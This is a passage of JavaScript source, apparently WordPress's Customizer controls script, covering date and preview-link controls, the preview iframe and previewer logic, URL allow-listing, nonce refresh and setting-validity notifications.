		 * @since 4.9.0
		 * @return {boolean} Whether the inputs were populated.
		 */
		populateDateInputs: function populateDateInputs() {
			var control = this, parsed;

			parsed = control.parseDateTime( control.setting.get() );

			if ( ! parsed ) {
				return false;
			}

			_.each( control.inputElements, function( element, component ) {
				var value = parsed[ component ]; // This will be zero-padded string.

				// Set month and meridian regardless of focused state since they are dropdowns.
				if ( 'month' === component || 'meridian' === component ) {

					// Options in dropdowns are not zero-padded.
					value = value.replace( /^0/, '' );

					element.set( value );
				} else {

					value = parseInt( value, 10 );
					if ( ! element.element.is( document.activeElement ) ) {

						// Populate element with zero-padded value if not focused.
						element.set( parsed[ component ] );
					} else if ( value !== parseInt( element(), 10 ) ) {

						// Forcibly update the value if its underlying value changed, regardless of zero-padding.
						element.set( String( value ) );
					}
				}
			} );

			return true;
		},

		/**
		 * Toggle future date notification for date control.
		 *
		 * @since 4.9.0
		 * @param {boolean} notify Add or remove the notification.
		 * @return {wp.customize.DateTimeControl}
		 */
		toggleFutureDateNotification: function toggleFutureDateNotification( notify ) {
			var control = this, notificationCode, notification;

			notificationCode = 'not_future_date';

			if ( notify ) {
				notification = new api.Notification( notificationCode, {
					type: 'error',
					message: api.l10n.futureDateError
				} );
				control.notifications.add( notification );
			} else {
				control.notifications.remove( notificationCode );
			}

			return control;
		}
	});

	/**
	 * Class PreviewLinkControl.
	 *
	 * @since 4.9.0
	 * @class    wp.customize.PreviewLinkControl
	 * @augments wp.customize.Control
	 */
	api.PreviewLinkControl = api.Control.extend(/** @lends wp.customize.PreviewLinkControl.prototype */{

		defaults: _.extend( {}, api.Control.prototype.defaults, {
			templateId: 'customize-preview-link-control'
		} ),

		/**
		 * Initialize behaviors.
		 *
		 * @since 4.9.0
		 * @return {void}
		 */
		ready: function ready() {
			var control = this, element, component, node, url, input, button;

			_.bindAll( control, 'updatePreviewLink' );

			if ( ! control.setting ) {
			    control.setting = new api.Value();
			}

			control.previewElements = {};

			control.container.find( '.preview-control-element' ).each( function() {
				node = $( this );
				component = node.data( 'component' );
				element = new api.Element( node );
				control.previewElements[ component ] = element;
				control.elements.push( element );
			} );

			url = control.previewElements.url;
			input = control.previewElements.input;
			button = control.previewElements.button;

			input.link( control.setting );
			url.link( control.setting );

			url.bind( function( value ) {
				url.element.parent().attr( {
					href: value,
					target: api.settings.changeset.uuid
				} );
			} );

			api.bind( 'ready', control.updatePreviewLink );
			api.state( 'saved' ).bind( control.updatePreviewLink );
			api.state( 'changesetStatus' ).bind( control.updatePreviewLink );
			api.state( 'activated' ).bind( control.updatePreviewLink );
			api.previewer.previewUrl.bind( control.updatePreviewLink );

			button.element.on( 'click', function( event ) {
				event.preventDefault();
				if ( control.setting() ) {
					input.element.select();
					document.execCommand( 'copy' );
					button( button.element.data( 'copied-text' ) );
				}
			} );

			url.element.parent().on( 'click', function( event ) {
				if ( $( this ).hasClass( 'disabled' ) ) {
					event.preventDefault();
				}
			} );

			button.element.on( 'mouseenter', function() {
				if ( control.setting() ) {
					button( button.element.data( 'copy-text' ) );
				}
			} );
		},

		/**
		 * Updates Preview Link
		 *
		 * @since 4.9.0
		 * @return {void}
		 */
		updatePreviewLink: function updatePreviewLink() {
			var control = this, unsavedDirtyValues;

			unsavedDirtyValues = ! api.state( 'saved' ).get() || '' === api.state( 'changesetStatus' ).get() || 'auto-draft' === api.state( 'changesetStatus' ).get();

			control.toggleSaveNotification( unsavedDirtyValues );
			control.previewElements.url.element.parent().toggleClass( 'disabled', unsavedDirtyValues );
			control.previewElements.button.element.prop( 'disabled', unsavedDirtyValues );
			control.setting.set( api.previewer.getFrontendPreviewUrl() );
		},

		/**
		 * Toggles save notification.
		 *
		 * @since 4.9.0
		 * @param {boolean} notify Add or remove notification.
		 * @return {void}
		 */
		toggleSaveNotification: function toggleSaveNotification( notify ) {
			var control = this, notificationCode, notification;

			notificationCode = 'changes_not_saved';

			if ( notify ) {
				notification = new api.Notification( notificationCode, {
					type: 'info',
					message: api.l10n.saveBeforeShare
				} );
				control.notifications.add( notification );
			} else {
				control.notifications.remove( notificationCode );
			}
		}
	});

	/**
	 * Change objects contained within the main customize object to Settings.
	 *
	 * @alias wp.customize.defaultConstructor
	 */
	api.defaultConstructor = api.Setting;

	/**
	 * Callback for resolved controls.
	 *
	 * @callback wp.customize.deferredControlsCallback
	 * @param {wp.customize.Control[]} controls Resolved controls.
	 */

	/**
	 * Collection of all registered controls.
	 *
	 * @alias wp.customize.control
	 *
	 * @since 3.4.0
	 *
	 * @type {Function}
	 * @param {...string} ids - One or more ids for controls to obtain.
	 * @param {deferredControlsCallback} [callback] - Function called when all supplied controls exist.
	 * @return {wp.customize.Control|undefined|jQuery.promise} Control instance or undefined (if function called with one id param),
	 *                                                         or promise resolving to requested controls.
	 *
	 * @example <caption>Loop over all registered controls.</caption>
	 * wp.customize.control.each( function( control ) { ... } );
	 *
	 * @example <caption>Getting `background_color` control instance.</caption>
	 * control = wp.customize.control( 'background_color' );
	 *
	 * @example <caption>Check if control exists.</caption>
	 * hasControl = wp.customize.control.has( 'background_color' );
	 *
	 * @example <caption>Deferred getting of `background_color` control until it exists, using callback.</caption>
	 * wp.customize.control( 'background_color', function( control ) { ... } );
	 *
	 * @example <caption>Get title and tagline controls when they both exist, using promise (only available when multiple IDs are present).</caption>
	 * promise = wp.customize.control( 'blogname', 'blogdescription' );
	 * promise.done( function( titleControl, taglineControl ) { ... } );
	 *
	 * @example <caption>Get title and tagline controls when they both exist, using callback.</caption>
	 * wp.customize.control( 'blogname', 'blogdescription', function( titleControl, taglineControl ) { ... } );
	 *
	 * @example <caption>Getting setting value for `background_color` control.</caption>
	 * value = wp.customize.control( 'background_color ').setting.get();
	 * value = wp.customize( 'background_color' ).get(); // Same as above, since setting ID and control ID are the same.
	 *
	 * @example <caption>Add new control for site title.</caption>
	 * wp.customize.control.add( new wp.customize.Control( 'other_blogname', {
	 *     setting: 'blogname',
	 *     type: 'text',
	 *     label: 'Site title',
	 *     section: 'other_site_identify'
	 * } ) );
	 *
	 * @example <caption>Remove control.</caption>
	 * wp.customize.control.remove( 'other_blogname' );
	 *
	 * @example <caption>Listen for control being added.</caption>
	 * wp.customize.control.bind( 'add', function( addedControl ) { ... } )
	 *
	 * @example <caption>Listen for control being removed.</caption>
	 * wp.customize.control.bind( 'removed', function( removedControl ) { ... } )
	 */
	api.control = new api.Values({ defaultConstructor: api.Control });

	/**
	 * Callback for resolved sections.
	 *
	 * @callback wp.customize.deferredSectionsCallback
	 * @param {wp.customize.Section[]} sections Resolved sections.
	 */

	/**
	 * Collection of all registered sections.
	 *
	 * @alias wp.customize.section
	 *
	 * @since 3.4.0
	 *
	 * @type {Function}
	 * @param {...string} ids - One or more ids for sections to obtain.
	 * @param {deferredSectionsCallback} [callback] - Function called when all supplied sections exist.
	 * @return {wp.customize.Section|undefined|jQuery.promise} Section instance or undefined (if function called with one id param),
	 *                                                         or promise resolving to requested sections.
	 *
	 * @example <caption>Loop over all registered sections.</caption>
	 * wp.customize.section.each( function( section ) { ... } )
	 *
	 * @example <caption>Getting `title_tagline` section instance.</caption>
	 * section = wp.customize.section( 'title_tagline' )
	 *
	 * @example <caption>Expand dynamically-created section when it exists.</caption>
	 * wp.customize.section( 'dynamically_created', function( section ) {
	 *     section.expand();
	 * } );
	 *
	 * @see {@link wp.customize.control} for further examples of how to interact with {@link wp.customize.Values} instances.
	 */
	api.section = new api.Values({ defaultConstructor: api.Section });

	/**
	 * Callback for resolved panels.
	 *
	 * @callback wp.customize.deferredPanelsCallback
	 * @param {wp.customize.Panel[]} panels Resolved panels.
	 */

	/**
	 * Collection of all registered panels.
	 *
	 * @alias wp.customize.panel
	 *
	 * @since 4.0.0
	 *
	 * @type {Function}
	 * @param {...string} ids - One or more ids for panels to obtain.
	 * @param {deferredPanelsCallback} [callback] - Function called when all supplied panels exist.
	 * @return {wp.customize.Panel|undefined|jQuery.promise} Panel instance or undefined (if function called with one id param),
	 *                                                       or promise resolving to requested panels.
	 *
	 * @example <caption>Loop over all registered panels.</caption>
	 * wp.customize.panel.each( function( panel ) { ... } )
	 *
	 * @example <caption>Getting nav_menus panel instance.</caption>
	 * panel = wp.customize.panel( 'nav_menus' );
	 *
	 * @example <caption>Expand dynamically-created panel when it exists.</caption>
	 * wp.customize.panel( 'dynamically_created', function( panel ) {
	 *     panel.expand();
	 * } );
	 *
	 * @see {@link wp.customize.control} for further examples of how to interact with {@link wp.customize.Values} instances.
	 */
	api.panel = new api.Values({ defaultConstructor: api.Panel });

	/**
	 * Callback for resolved notifications.
	 *
	 * @callback wp.customize.deferredNotificationsCallback
	 * @param {wp.customize.Notification[]} notifications Resolved notifications.
	 */

	/**
	 * Collection of all global notifications.
	 *
	 * @alias wp.customize.notifications
	 *
	 * @since 4.9.0
	 *
	 * @type {Function}
	 * @param {...string} codes - One or more codes for notifications to obtain.
	 * @param {deferredNotificationsCallback} [callback] - Function called when all supplied notifications exist.
	 * @return {wp.customize.Notification|undefined|jQuery.promise} Notification instance or undefined (if function called with one code param),
	 *                                                              or promise resolving to requested notifications.
	 *
	 * @example <caption>Check if existing notification</caption>
	 * exists = wp.customize.notifications.has( 'a_new_day_arrived' );
	 *
	 * @example <caption>Obtain existing notification</caption>
	 * notification = wp.customize.notifications( 'a_new_day_arrived' );
	 *
	 * @example <caption>Obtain notification that may not exist yet.</caption>
	 * wp.customize.notifications( 'a_new_day_arrived', function( notification ) { ... } );
	 *
	 * @example <caption>Add a warning notification.</caption>
	 * wp.customize.notifications.add( new wp.customize.Notification( 'midnight_almost_here', {
	 *     type: 'warning',
	 *     message: 'Midnight has almost arrived!',
	 *     dismissible: true
	 * } ) );
	 *
	 * @example <caption>Remove a notification.</caption>
	 * wp.customize.notifications.remove( 'a_new_day_arrived' );
	 *
	 * @see {@link wp.customize.control} for further examples of how to interact with {@link wp.customize.Values} instances.
	 */
	api.notifications = new api.Notifications();

	api.PreviewFrame = api.Messenger.extend(/** @lends wp.customize.PreviewFrame.prototype */{
		sensitivity: null, // Will get set to api.settings.timeouts.previewFrameSensitivity.

		/**
		 * An object that fetches a preview in the background of the document, which
		 * allows for seamless replacement of an existing preview.
		 *
		 * @constructs wp.customize.PreviewFrame
		 * @augments   wp.customize.Messenger
		 *
		 * @param {Object} params.container
		 * @param {Object} params.previewUrl
		 * @param {Object} params.query
		 * @param {Object} options
		 */
		initialize: function( params, options ) {
			var deferred = $.Deferred();

			/*
			 * Make the instance of the PreviewFrame the promise object
			 * so other objects can easily interact with it.
			 */
			deferred.promise( this );

			this.container = params.container;

			$.extend( params, { channel: api.PreviewFrame.uuid() });

			api.Messenger.prototype.initialize.call( this, params, options );

			this.add( 'previewUrl', params.previewUrl );

			this.query = $.extend( params.query || {}, { customize_messenger_channel: this.channel() });

			this.run( deferred );
		},

		/**
		 * Run the preview request.
		 *
		 * @param {Object} deferred jQuery Deferred object to be resolved with
		 *                          the request.
		 */
		run: function( deferred ) {
			var previewFrame = this,
				loaded = false,
				ready = false,
				readyData = null,
				hasPendingChangesetUpdate = '{}' !== previewFrame.query.customized,
				urlParser,
				params,
				form;

			if ( previewFrame._ready ) {
				previewFrame.unbind( 'ready', previewFrame._ready );
			}

			previewFrame._ready = function( data ) {
				ready = true;
				readyData = data;
				previewFrame.container.addClass( 'iframe-ready' );
				if ( ! data ) {
					return;
				}

				if ( loaded ) {
					deferred.resolveWith( previewFrame, [ data ] );
				}
			};

			previewFrame.bind( 'ready', previewFrame._ready );

			urlParser = document.createElement( 'a' );
			urlParser.href = previewFrame.previewUrl();

			params = _.extend(
				api.utils.parseQueryString( urlParser.search.substr( 1 ) ),
				{
					customize_changeset_uuid: previewFrame.query.customize_changeset_uuid,
					customize_theme: previewFrame.query.customize_theme,
					customize_messenger_channel: previewFrame.query.customize_messenger_channel
				}
			);
			if ( api.settings.changeset.autosaved || ! api.state( 'saved' ).get() ) {
				params.customize_autosaved = 'on';
			}

			urlParser.search = $.param( params );
			previewFrame.iframe = $( '<iframe />', {
				title: api.l10n.previewIframeTitle,
				name: 'customize-' + previewFrame.channel()
			} );
			previewFrame.iframe.attr( 'onmousewheel', '' ); // Workaround for Safari bug. See WP Trac #38149.
			previewFrame.iframe.attr( 'sandbox', 'allow-forms allow-modals allow-orientation-lock allow-pointer-lock allow-popups allow-popups-to-escape-sandbox allow-presentation allow-same-origin allow-scripts' );

			if ( ! hasPendingChangesetUpdate ) {
				previewFrame.iframe.attr( 'src', urlParser.href );
			} else {
				previewFrame.iframe.attr( 'data-src', urlParser.href ); // For debugging purposes.
			}

			previewFrame.iframe.appendTo( previewFrame.container );
			previewFrame.targetWindow( previewFrame.iframe[0].contentWindow );

			/*
			 * Submit customized data in POST request to preview frame window since
			 * there are setting value changes not yet written to changeset.
			 */
			if ( hasPendingChangesetUpdate ) {
				form = $( '<form>', {
					action: urlParser.href,
					target: previewFrame.iframe.attr( 'name' ),
					method: 'post',
					hidden: 'hidden'
				} );
				form.append( $( '<input>', {
					type: 'hidden',
					name: '_method',
					value: 'GET'
				} ) );
				_.each( previewFrame.query, function( value, key ) {
					form.append( $( '<input>', {
						type: 'hidden',
						name: key,
						value: value
					} ) );
				} );
				previewFrame.container.append( form );
				form.trigger( 'submit' );
				form.remove(); // No need to keep the form around after submitted.
			}

			previewFrame.bind( 'iframe-loading-error', function( error ) {
				previewFrame.iframe.remove();

				// Check if the user is not logged in.
				if ( 0 === error ) {
					previewFrame.login( deferred );
					return;
				}

				// Check for cheaters.
				if ( -1 === error ) {
					deferred.rejectWith( previewFrame, [ 'cheatin' ] );
					return;
				}

				deferred.rejectWith( previewFrame, [ 'request failure' ] );
			} );

			previewFrame.iframe.one( 'load', function() {
				loaded = true;

				if ( ready ) {
					deferred.resolveWith( previewFrame, [ readyData ] );
				} else {
					setTimeout( function() {
						deferred.rejectWith( previewFrame, [ 'ready timeout' ] );
					}, previewFrame.sensitivity );
				}
			});
		},

		login: function( deferred ) {
			var self = this,
				reject;

			reject = function() {
				deferred.rejectWith( self, [ 'logged out' ] );
			};

			if ( this.triedLogin ) {
				return reject();
			}

			// Check if we have an admin cookie.
			$.get( api.settings.url.ajax, {
				action: 'logged-in'
			}).fail( reject ).done( function( response ) {
				var iframe;

				if ( '1' !== response ) {
					reject();
				}

				iframe = $( '<iframe />', { 'src': self.previewUrl(), 'title': api.l10n.previewIframeTitle } ).hide();
				iframe.appendTo( self.container );
				iframe.on( 'load', function() {
					self.triedLogin = true;

					iframe.remove();
					self.run( deferred );
				});
			});
		},

		destroy: function() {
			api.Messenger.prototype.destroy.call( this );

			if ( this.iframe ) {
				this.iframe.remove();
			}

			delete this.iframe;
			delete this.targetWindow;
		}
	});

	(function(){
		var id = 0;
		/**
		 * Return an incremented ID for a preview messenger channel.
		 *
		 * This function is named "uuid" for historical reasons, but it is a
		 * misnomer as it is not an actual UUID, and it is not universally unique.
		 * This is not to be confused with `api.settings.changeset.uuid`.
		 *
		 * @return {string}
		 */
		api.PreviewFrame.uuid = function() {
			return 'preview-' + String( id++ );
		};
	}());

	/**
	 * Set the document title of the customizer.
	 *
	 * @alias wp.customize.setDocumentTitle
	 *
	 * @since 4.1.0
	 *
	 * @param {string} documentTitle
	 */
	api.setDocumentTitle = function ( documentTitle ) {
		var tmpl, title;
		tmpl = api.settings.documentTitleTmpl;
		title = tmpl.replace( '%s', documentTitle );
		document.title = title;
		api.trigger( 'title', title );
	};

	api.Previewer = api.Messenger.extend(/** @lends wp.customize.Previewer.prototype */{
		refreshBuffer: null, // Will get set to api.settings.timeouts.windowRefresh.

		/**
		 * @constructs wp.customize.Previewer
		 * @augments   wp.customize.Messenger
		 *
		 * @param {Array}  params.allowedUrls
		 * @param {string} params.container   A selector or jQuery element for the preview
		 *                                    frame to be placed.
		 * @param {string} params.form
		 * @param {string} params.previewUrl  The URL to preview.
		 * @param {Object} options
		 */
		initialize: function( params, options ) {
			var previewer = this,
				urlParser = document.createElement( 'a' );

			$.extend( previewer, options || {} );
			previewer.deferred = {
				active: $.Deferred()
			};

			// Debounce to prevent hammering server and then wait for any pending update requests.
			previewer.refresh = _.debounce(
				( function( originalRefresh ) {
					return function() {
						var isProcessingComplete, refreshOnceProcessingComplete;
						isProcessingComplete = function() {
							return 0 === api.state( 'processing' ).get();
						};
						if ( isProcessingComplete() ) {
							originalRefresh.call( previewer );
						} else {
							refreshOnceProcessingComplete = function() {
								if ( isProcessingComplete() ) {
									originalRefresh.call( previewer );
									api.state( 'processing' ).unbind( refreshOnceProcessingComplete );
								}
							};
							api.state( 'processing' ).bind( refreshOnceProcessingComplete );
						}
					};
				}( previewer.refresh ) ),
				previewer.refreshBuffer
			);

			previewer.container   = api.ensure( params.container );
			previewer.allowedUrls = params.allowedUrls;

			params.url = window.location.href;

			api.Messenger.prototype.initialize.call( previewer, params );

			urlParser.href = previewer.origin();
			previewer.add( 'scheme', urlParser.protocol.replace( /:$/, '' ) );

			/*
			 * Limit the URL to internal, front-end links.
			 *
			 * If the front end and the admin are served from the same domain, load the
			 * preview over ssl if the Customizer is being loaded over ssl. This avoids
			 * insecure content warnings. This is not attempted if the admin and front end
			 * are on different domains to avoid the case where the front end doesn't have
			 * ssl certs.
			 */

			previewer.add( 'previewUrl', params.previewUrl ).setter( function( to ) {
				var result = null, urlParser, queryParams, parsedAllowedUrl, parsedCandidateUrls = [];
				urlParser = document.createElement( 'a' );
				urlParser.href = to;

				// Abort if URL is for admin or (static) files in wp-includes or wp-content.
				if ( /\/wp-(admin|includes|content)(\/|$)/.test( urlParser.pathname ) ) {
					return null;
				}

				// Remove state query params.
				if ( urlParser.search.length > 1 ) {
					queryParams = api.utils.parseQueryString( urlParser.search.substr( 1 ) );
					delete queryParams.customize_changeset_uuid;
					delete queryParams.customize_theme;
					delete queryParams.customize_messenger_channel;
					delete queryParams.customize_autosaved;
					if ( _.isEmpty( queryParams ) ) {
						urlParser.search = '';
					} else {
						urlParser.search = $.param( queryParams );
					}
				}

				parsedCandidateUrls.push( urlParser );

				// Prepend list with URL that matches the scheme/protocol of the iframe.
				if ( previewer.scheme.get() + ':' !== urlParser.protocol ) {
					urlParser = document.createElement( 'a' );
					urlParser.href = parsedCandidateUrls[0].href;
					urlParser.protocol = previewer.scheme.get() + ':';
					parsedCandidateUrls.unshift( urlParser );
				}

				// Attempt to match the URL to the control frame's scheme and check if it's allowed. If not, try the original URL.
				parsedAllowedUrl = document.createElement( 'a' );
				_.find( parsedCandidateUrls, function( parsedCandidateUrl ) {
					return ! _.isUndefined( _.find( previewer.allowedUrls, function( allowedUrl ) {
						parsedAllowedUrl.href = allowedUrl;
						if ( urlParser.protocol === parsedAllowedUrl.protocol && urlParser.host === parsedAllowedUrl.host && 0 === urlParser.pathname.indexOf( parsedAllowedUrl.pathname.replace( /\/$/, '' ) ) ) {
							result = parsedCandidateUrl.href;
							return true;
						}
					} ) );
				} );

				return result;
			});

			previewer.bind( 'ready', previewer.ready );

			// Start listening for keep-alive messages when iframe first loads.
			previewer.deferred.active.done( _.bind( previewer.keepPreviewAlive, previewer ) );

			previewer.bind( 'synced', function() {
				previewer.send( 'active' );
			} );

			// Refresh the preview when the URL is changed (but not yet).
			previewer.previewUrl.bind( previewer.refresh );

			previewer.scroll = 0;
			previewer.bind( 'scroll', function( distance ) {
				previewer.scroll = distance;
			});

			// Update the URL when the iframe sends a URL message, resetting scroll position. If URL is unchanged, then refresh.
			previewer.bind( 'url', function( url ) {
				var onUrlChange, urlChanged = false;
				previewer.scroll = 0;
				onUrlChange = function() {
					urlChanged = true;
				};
				previewer.previewUrl.bind( onUrlChange );
				previewer.previewUrl.set( url );
				previewer.previewUrl.unbind( onUrlChange );
				if ( ! urlChanged ) {
					previewer.refresh();
				}
			} );

			// Update the document title when the preview changes.
			previewer.bind( 'documentTitle', function ( title ) {
				api.setDocumentTitle( title );
			} );
		},

		/**
		 * Handle the preview receiving the ready message.
		 *
		 * @since 4.7.0
		 * @access public
		 *
		 * @param {Object} data - Data from preview.
		 * @param {string} data.currentUrl - Current URL.
		 * @param {Object} data.activePanels - Active panels.
		 * @param {Object} data.activeSections Active sections.
		 * @param {Object} data.activeControls Active controls.
		 * @return {void}
		 */
		ready: function( data ) {
			var previewer = this, synced = {}, constructs;

			synced.settings = api.get();
			synced['settings-modified-while-loading'] = previewer.settingsModifiedWhileLoading;
			if ( 'resolved' !== previewer.deferred.active.state() || previewer.loading ) {
				synced.scroll = previewer.scroll;
			}
			synced['edit-shortcut-visibility'] = api.state( 'editShortcutVisibility' ).get();
			previewer.send( 'sync', synced );

			// Set the previewUrl without causing the url to set the iframe.
			if ( data.currentUrl ) {
				previewer.previewUrl.unbind( previewer.refresh );
				previewer.previewUrl.set( data.currentUrl );
				previewer.previewUrl.bind( previewer.refresh );
			}

			/*
			 * Walk over all panels, sections, and controls and set their
			 * respective active states to true if the preview explicitly
			 * indicates as such.
			 */
			constructs = {
				panel: data.activePanels,
				section: data.activeSections,
				control: data.activeControls
			};
			_( constructs ).each( function ( activeConstructs, type ) {
				api[ type ].each( function ( construct, id ) {
					var isDynamicallyCreated = _.isUndefined( api.settings[ type + 's' ][ id ] );

					/*
					 * If the construct was created statically in PHP (not dynamically in JS)
					 * then consider a missing (undefined) value in the activeConstructs to
					 * mean it should be deactivated (since it is gone). But if it is
					 * dynamically created then only toggle activation if the value is defined,
					 * as this means that the construct was also then correspondingly
					 * created statically in PHP and the active callback is available.
					 * Otherwise, dynamically-created constructs should normally have
					 * their active states toggled in JS rather than from PHP.
					 */
					if ( ! isDynamicallyCreated || ! _.isUndefined( activeConstructs[ id ] ) ) {
						if ( activeConstructs[ id ] ) {
							construct.activate();
						} else {
							construct.deactivate();
						}
					}
				} );
			} );

			if ( data.settingValidities ) {
				api._handleSettingValidities( {
					settingValidities: data.settingValidities,
					focusInvalidControl: false
				} );
			}
		},

		/**
		 * Keep the preview alive by listening for ready and keep-alive messages.
		 *
		 * If a message is not received in the allotted time then the iframe will be set back to the last known valid URL.
		 *
		 * @since 4.7.0
		 * @access public
		 *
		 * @return {void}
		 */
		keepPreviewAlive: function keepPreviewAlive() {
			var previewer = this, keepAliveTick, timeoutId, handleMissingKeepAlive, scheduleKeepAliveCheck;

			/**
			 * Schedule a preview keep-alive check.
			 *
			 * Note that if a page load takes longer than keepAliveCheck milliseconds,
			 * the keep-alive messages will still be getting sent from the previous
			 * URL.
			 */
			scheduleKeepAliveCheck = function() {
				timeoutId = setTimeout( handleMissingKeepAlive, api.settings.timeouts.keepAliveCheck );
			};

			/**
			 * Set the previewerAlive state to true when receiving a message from the preview.
			 */
			keepAliveTick = function() {
				api.state( 'previewerAlive' ).set( true );
				clearTimeout( timeoutId );
				scheduleKeepAliveCheck();
			};

			/**
			 * Set the previewerAlive state to false if keepAliveCheck milliseconds have transpired without a message.
			 *
			 * This is most likely to happen in the case of a connectivity error, or if the theme causes the browser
			 * to navigate to a non-allowed URL. Setting this state to false will force settings with a postMessage
			 * transport to use refresh instead, causing the preview frame also to be replaced with the current
			 * allowed preview URL.
			 */
			handleMissingKeepAlive = function() {
				api.state( 'previewerAlive' ).set( false );
			};
			scheduleKeepAliveCheck();

			previewer.bind( 'ready', keepAliveTick );
			previewer.bind( 'keep-alive', keepAliveTick );
		},

		/**
		 * Query string data sent with each preview request.
		 *
		 * @abstract
		 */
		query: function() {},

		abort: function() {
			if ( this.loading ) {
				this.loading.destroy();
				delete this.loading;
			}
		},

		/**
		 * Refresh the preview seamlessly.
		 *
		 * @since 3.4.0
		 * @access public
		 *
		 * @return {void}
		 */
		refresh: function() {
			var previewer = this, onSettingChange;

			// Display loading indicator.
			previewer.send( 'loading-initiated' );

			previewer.abort();

			previewer.loading = new api.PreviewFrame({
				url:        previewer.url(),
				previewUrl: previewer.previewUrl(),
				query:      previewer.query( { excludeCustomizedSaved: true } ) || {},
				container:  previewer.container
			});

			previewer.settingsModifiedWhileLoading = {};
			onSettingChange = function( setting ) {
				previewer.settingsModifiedWhileLoading[ setting.id ] = true;
			};
			api.bind( 'change', onSettingChange );
			previewer.loading.always( function() {
				api.unbind( 'change', onSettingChange );
			} );

			previewer.loading.done( function( readyData ) {
				var loadingFrame = this, onceSynced;

				previewer.preview = loadingFrame;
				previewer.targetWindow( loadingFrame.targetWindow() );
				previewer.channel( loadingFrame.channel() );

				onceSynced = function() {
					loadingFrame.unbind( 'synced', onceSynced );
					if ( previewer._previousPreview ) {
						previewer._previousPreview.destroy();
					}
					previewer._previousPreview = previewer.preview;
					previewer.deferred.active.resolve();
					delete previewer.loading;
				};
				loadingFrame.bind( 'synced', onceSynced );

				// This event will be received directly by the previewer in normal navigation; this is only needed for seamless refresh.
				previewer.trigger( 'ready', readyData );
			});

			previewer.loading.fail( function( reason ) {
				previewer.send( 'loading-failed' );

				if ( 'logged out' === reason ) {
					if ( previewer.preview ) {
						previewer.preview.destroy();
						delete previewer.preview;
					}

					previewer.login().done( previewer.refresh );
				}

				if ( 'cheatin' === reason ) {
					previewer.cheatin();
				}
			});
		},

		login: function() {
			var previewer = this,
				deferred, messenger, iframe;

			if ( this._login ) {
				return this._login;
			}

			deferred = $.Deferred();
			this._login = deferred.promise();

			messenger = new api.Messenger({
				channel: 'login',
				url:     api.settings.url.login
			});

			iframe = $( '<iframe />', { 'src': api.settings.url.login, 'title': api.l10n.loginIframeTitle } ).appendTo( this.container );

			messenger.targetWindow( iframe[0].contentWindow );

			messenger.bind( 'login', function () {
				var refreshNonces = previewer.refreshNonces();

				refreshNonces.always( function() {
					iframe.remove();
					messenger.destroy();
					delete previewer._login;
				});

				refreshNonces.done( function() {
					deferred.resolve();
				});

				refreshNonces.fail( function() {
					previewer.cheatin();
					deferred.reject();
				});
			});

			return this._login;
		},

		cheatin: function() {
			$( document.body ).empty().addClass( 'cheatin' ).append(
				'<h1>' + api.l10n.notAllowedHeading + '</h1>' +
				'<p>' + api.l10n.notAllowed + '</p>'
			);
		},

		refreshNonces: function() {
			var request, deferred = $.Deferred();

			deferred.promise();

			request = wp.ajax.post( 'customize_refresh_nonces', {
				wp_customize: 'on',
				customize_theme: api.settings.theme.stylesheet
			});

			request.done( function( response ) {
				api.trigger( 'nonce-refresh', response );
				deferred.resolve();
			});

			request.fail( function() {
				deferred.reject();
			});

			return deferred;
		}
	});

	api.settingConstructor = {};
	api.controlConstructor = {
		color:               api.ColorControl,
		media:               api.MediaControl,
		upload:              api.UploadControl,
		image:               api.ImageControl,
		cropped_image:       api.CroppedImageControl,
		site_icon:           api.SiteIconControl,
		header:              api.HeaderControl,
		background:          api.BackgroundControl,
		background_position: api.BackgroundPositionControl,
		theme:               api.ThemeControl,
		date_time:           api.DateTimeControl,
		code_editor:         api.CodeEditorControl
	};
	api.panelConstructor = {
		themes: api.ThemesPanel
	};
	api.sectionConstructor = {
		themes: api.ThemesSection,
		outer: api.OuterSection
	};

	/**
	 * Handle setting_validities in an error response for the customize-save request.
	 *
	 * Add notifications to the settings and focus on the first control that has an invalid setting.
	 *
	 * @alias wp.customize._handleSettingValidities
	 *
	 * @since 4.6.0
	 * @private
	 *
	 * @param {Object}  args
	 * @param {Object}  args.settingValidities
	 * @param {boolean} [args.focusInvalidControl=false]
	 * @return {void}
	 */
	api._handleSettingValidities = function handleSettingValidities( args ) {
		var invalidSettingControls, invalidSettings = [], wasFocused = false;

		// Find the controls that correspond to each invalid setting.
		_.each( args.settingValidities, function( validity, settingId ) {
			var setting = api( settingId );
			if ( setting ) {

				// Add notifications for invalidities.
				if ( _.isObject( validity ) ) {
					_.each( validity, function( params, code ) {
						var notification, existingNotification, needsReplacement = false;
						notification = new api.Notification( code, _.extend( { fromServer: true }, params ) );

						// Remove existing notification if already exists for code but differs in parameters.
						existingNotification = setting.notifications( notification.code );
						if ( existingNotification ) {
							needsReplacement = notification.type !== existingNotification.type || notification.message !== existingNotification.message || ! _.isEqual( notification.data, existingNotification.data );
						}
						if ( needsReplacement ) {
							setting.notifications.remove( code );
						}

						if ( ! setting.notifications.has( notification.code ) ) {
							setting.notifications.add( notification );
						}
						invalidSettings.push( setting.id );
					} );
				}

				// Remove notification errors that are no longer valid.
				setting.notifications.each( function( notification ) {
					if ( notification.fromServer && 'error' === notification.type && ( true === validity || ! validity[ notification.code ] ) ) {
						setting.notifications.remove( notification.code );
					}
				} );
			}
		} );

		if ( args.focusInvalidControl ) {
			invalidSettingControls = api.findControlsForSettings( invalidSettings );

			// Focus on the first control that is inside of an expanded section (one that is visible).
			_( _.values( invalidSettingControls ) ).find( function( controls ) {
				return _( controls ).find( function( control ) {
					var isExpanded = control.section() && api.section.has( control.section() ) && api.section( control.section() ).expanded();
					if ( isExpanded && control.expanded ) {
						isExpanded = control.expanded();
					}
					if ( isExpanded ) {
						control.focus();
						wasFocused = true;
					}
					return wasFocused;
				} );
			} );

			// Focus on the first invalid control.
			if ( ! wasFocused && ! _.isEmpty( invalidSettingControls ) ) {
				_.values( invalidSettingControls )[0][0].focus();
			}
		}
	};

	/**
	 * Find all controls associated with the given settings.
	 *
	 * @alias wp.customize.findControlsForSettings
	 *
	 * @since 4.6.0
	 * @param {string[]} settingIds Setting IDs.
	 * @return {Object<string, wp.customize.Control>} Mapping setting ids to arrays of controls.
	 */
	api.findControlsForSettings = function findControlsForSettings( settingIds ) {
		var controls = {}, settingControls;
		_.each( _.unique( settingIds ), function( settingId ) {
			var setting = api( settingId );
			if ( setting ) {
				settingControls = setting.findControls();
				if ( settingControls && settingControls.length > 0 ) {
					controls[ settingId ] = settingControls;
				}
			}
		} );
		return controls;
	};

	/**
	 * Sort panels, sections, controls by priorities. Hide empty sections and panels.
	 *
	 * @alias wp.customize.reflowPaneContents
	 *
	 * @since 4.1.0
	 */
	api.reflowPaneContents = _.bind( function () {

